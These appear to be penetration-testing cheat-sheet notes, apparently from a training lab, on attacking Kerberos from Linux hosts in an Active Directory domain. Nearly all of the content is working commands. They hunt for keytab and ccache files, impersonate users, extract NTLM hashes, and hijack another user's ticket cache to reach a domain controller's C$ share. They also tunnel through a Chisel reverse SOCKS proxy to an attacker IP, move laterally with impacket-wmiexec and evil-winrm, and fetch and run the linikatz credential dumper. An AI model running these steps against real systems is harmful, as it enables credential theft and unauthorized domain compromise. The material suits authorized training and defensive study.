# Using Linux

## Checking if Linux is Domain Joined

```shell-session
$ realm list
```

```shell-session
$ ps -ef | grep -i "winbind\|sssd"
```

## Finding Kerberos Tickets

### Finding Keytab Files

Keytab are allow scripts to authenticate automatically using kerberos without password intercation or storing pass in plaintext file

To use keytab file, we need to have rw permissions on the file

Default Location: `/etc/krb5.keytab`

```shell-session
$ find / -name *keytab* -ls 2>/dev/null
```

### Identifying Keytab Files in cronjobs

{% code overflow="wrap" %}

```shell-session
$ crontab -l

# m h  dom mon dow   command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh

$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
#!/bin/bash

kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txt
```

{% endcode %}

### Finding ccache files

Linux stores kerberos tickets in ccache files

#### Searching Environment Variables

```shell-session
$ env | grep -i krb5
```

#### Searching /tmp

```shell-session
$ ls -la /tmp
```

## Exploitation

### Abusing keytab files

#### Listing keytab file information

```shell-session
$ klist -k -t 
```

#### Impersonating a user

```shell-session
$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
```

#### Connecting to SMB Share as carlos

```shell-session
$ smbclient //dc01/carlos -k -c ls
```

### Keytab Extract

[KeyTabExtract](https://github.com/sosdave/KeyTabExtract)

```shell-session
$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 
```

NTLM -> pass the hash

AES -> Forge tickets using Rubeus

### Abusing Keytab ccache

#### Looking for ccache files

```shell-session
# ls -la /tmp
```

#### Identifying group membership

```shell-session
# id julio@inlanefreight.htb
```

#### Importing ccache file to our current session

```shell-session
# klist
# cp /tmp/krb5cc_647401106_I8I133 .
# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
# klist
# smbclient //dc01/C$ -k -c ls -no-pass
```

## Using Linux Attack Tools with Kerberos

If we do not have direct connection from our attacker machine to the KDC/Domain Controller, we need to proxy using Chisel/Proxychains

**Host File Modified**

```shell-session
rednorth@htb[/htb]$ cat /etc/hosts

# Host addresses

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01
```

#### Proxy Chains Configuration File

```shell-session
$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
socks5 127.0.0.1 1080
```

#### Download Chisel to our attack host

{% code overflow="wrap" %}

```shell-session
$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
$ gzip -d chisel_1.7.7_linux_amd64.gz
$ mv chisel_* chisel && chmod +x ./chisel
$ sudo ./chisel server --reverse 
```

{% endcode %}

#### Execute Chisel from our victim host

```bash
C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks # IP is attacker IP
```

#### Download ccache&#x20;

```shell-session
$ # download the ccache from Linux01 and export it
$ export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133
```

#### Using impacket with proxychains

```shell-session
$ proxychains impacket-wmiexec dc01 -k
```

#### Using Evil-Winrm

```shell-session
$ sudo apt-get install krb5-user -y # installing krb auth package
```

If krb5-user is already installed, change the config

```shell-session
$ cat /etc/krb5.conf

[libdefaults]
        default_realm = INLANEFREIGHT.HTB

<SNIP>

[realms]
    INLANEFREIGHT.HTB = {
        kdc = dc01.inlanefreight.htb
    }

<SNIP>
```

```shell-session
$ proxychains evil-winrm -i dc01 -r inlanefreight.htb
```

## Miscellaneous

If we want to use a `ccache file` in Windows or a `kirbi file` in a Linux machine, we can use [impacket-ticketConverter](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py) to convert them

```shell-session
$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
```

### Linikatz

```shell-session
$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
$ /opt/linikatz.sh
```

\\
